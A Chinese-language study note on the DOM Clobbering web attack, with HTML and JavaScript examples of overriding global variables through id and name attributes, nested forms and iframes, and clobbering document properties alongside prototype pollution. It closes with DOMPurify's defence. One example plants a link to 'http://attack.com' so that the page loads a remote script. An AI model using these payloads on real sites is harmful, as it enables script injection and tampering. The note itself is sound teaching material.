0%

前端安全8-DOM Clobbering(笔记)

前言

在这一章的攻击手法是通过改变DOM,然后js会对DOM进行操作造成的漏洞,干解释还是太干燥了,还是上代码吧

window

在讲DOM Clobbering之前,先得了解什么叫做window
https://www.w3schools.com/js/js_window.asp
这篇文章有简单的介绍
在一个窗口下,所有的全局javascript对象,都归到window底下,也就是平时的什么alert,其实就是window.alert
可以在浏览器控制台自己输入下面的代码去验证

1
2
alert == window.alert
true

详细的介绍可以看看这篇
https://developer.mozilla.org/en-US/docs/Web/API/Window
https://www.jianshu.com/p/e5ca92d68daa

操作带id的tag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>

<body>
<button id="btn">click me</button>
<script>
// TODO: add click event listener to button
</script>
</body>
</html>

上面的代码应该怎么对这个button进行操作呢,比如让他弹窗。
下面给出代码

1
2
3
4
document.getElementById('btn')
.addEventListener('click', () => {
alert(1)
})

但是其实并不需要document.getElementByIdwindow.btn也可以直接获取到,然后因为在window下面,所以可以直接用btn访问

所以直接用下面的代码就行了

1
btn.onclick=()=>alert(1)

根据官方文档 https://html.spec.whatwg.org/multipage/nav-history-apis.html#named-access-on-the-window-object
embed, form, img, and object这几个标签的name属性也是可以被window直接获取的
1
2
3
4
<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>

按理来说的话 iframe 标签应该也算是有这种特性

1
<iframe name="a"></iframe>

DOM Clobbering入门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html>
<body>
<h1>留言板</h1>
<div>
你的留言:<div id="TEST_MODE"></div>
<a id="TEST_SCRIPT_SRC" href="http://attack.com"></a>
</div>
<script>
if (window.TEST_MODE) {
// load test script
var script = document.createElement('script')
script.src = window.TEST_SCRIPT_SRC
document.body.appendChild(script)
}
</script>
</body>
</html>

这样子script.src = window.TEST_SCRIPT_SRC就会加载到a标签的href了,这里为什么不会把<a id="TEST_SCRIPT_SRC" href="http://attack.com"></a>赋值给script.src呢,这里的实际操作其实是
script.src = TEST_SCRIPT_SRC.toString()
这里有一个小trick,当标签是<a>或者<base>,toString()会返回他们的href

当变量已经存在的时候,就无法通过id进行覆盖了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<script>
TEST_MODE = 1
</script>
</head>
<body>
<div id="TEST_MODE"></div>
<script>
console.log(window.TEST_MODE) // 1
</script>
</body>
</html>

多层的DOM Clobbering

在上一节只是覆盖单个变量,当需要覆盖对象应该如何操作,比如覆盖掉config.isTest,有几种方法进行覆盖

  1. form

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <!DOCTYPE html>
    <html>
    <body>
    <form id="config">
    <input name="isTest" />
    <button id="isProd"></button>
    </form>
    <script>
    console.log(config) // <form id="config">
    console.log(config.isTest) // <input name="isTest" />
    console.log(config.isProd) // <button id="isProd"></button>
    </script>
    </body>
    </html>

    这种方法有一种缺陷,无法使用上一节讲的<a>或者<base>标签进行toString的覆盖,只能说是覆盖config.isTest.value

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <!DOCTYPE html>
    <html>
    <body>
    <form id="config">
    <input name="enviroment" value="test" />
    </form>
    <script>
    console.log(config.enviroment.value) // test
    </script>
    </body>
    </html>
  2. HTMLCollection
    这种方法在firefox上不可用,只能在chrome上用

    1
    2
    3
    4
    5
    6
    7
    <!DOCTYPE html>
    <html>
    <body>
    <a id="config" href="http://123"></a>
    <a id="config" name="apiUrl" href="https://huli.tw"></a>
    </body>
    </html>

    当有两个相同的id的时候,就会生成HTMLCollection

    可以看到可以通过name属性来获取到值,当然还有其他的

    通过config.config可以获取到第一个,config.apiUrl可以获取到第二个,接下来的操作就和上一节一样了

覆盖三层的话就可以把两个<a>改为<form>

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<body>
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
<script>
console.log(config.prod.apiUrl.value) //123
</script>
</body>
</html>

更多层的DOM Clobbering

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<body>
<iframe name="config" srcdoc='
<a id="apiUrl"></a>
'></iframe>
<script>
setTimeout(() => {
console.log(config.apiUrl) // <a id="apiUrl"></a>
}, 500)
</script>
</body>
</html>

可以通过iframe创建更多的层级,用setTimeout是因为并不是同步加载的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<body>
<iframe name="moreLevel" srcdoc='
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
'></iframe>
<script>
setTimeout(() => {
console.log(moreLevel.config.prod.apiUrl.value) //123
}, 500)
</script>
</body>
</html>

拓展攻击面

前面几节的攻击手法都是攻击window下面的变量,但是他有几个标签属性可以影响到document

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>

<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<img name=cookie>
<form id=test>
<h1 name=lastElementChild>I am first child</h1>
<div>I am last child</div>
</form>
<embed name=getElementById></embed>
<script>
console.log(document.cookie) // <img name="cookie">
console.log(document.querySelector('#test').lastElementChild) // <div>I am last child</div>
console.log(document.getElementById) // <embed name=getElementById></embed>
</script>
</body>
</html>

与原型链污染搭配一起使用,就可以达到污染cookie的效果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<img name=cookie>
<script>
// 先假設我們可以 pollute 成 function
Object.prototype.toString = () => 'a=1'
console.log(`cookie: ${document.cookie}`) // cookie: a=1
</script>
</body>
</html>

先把cookie给改成html元素,然后原型链污染
Object.prototype.toString = () => 'a=1'
是匿名函数的使用,让 toString 返回字符串 a=1

DOMPurify中的代码就会过滤这种情况

1
2
3
4
5
6
7
8
9
10
11
12
// https://github.com/cure53/DOMPurify/blob/d5060b309b5942fc5698070fbce83a781d31b8e9/src/purify.js#L1102
const _isValidAttribute = function (lcTag, lcName, value) {
/* Make sure attribute cannot clobber */
if (
SANITIZE_DOM &&
(lcName === 'id' || lcName === 'name') &&
(value in document || value in formElement)
) {
return false;
}
// ...
}

如果你的nameid存在于document中,就会直接返回false

Sanitizer API 就不会帮你做这方面的防护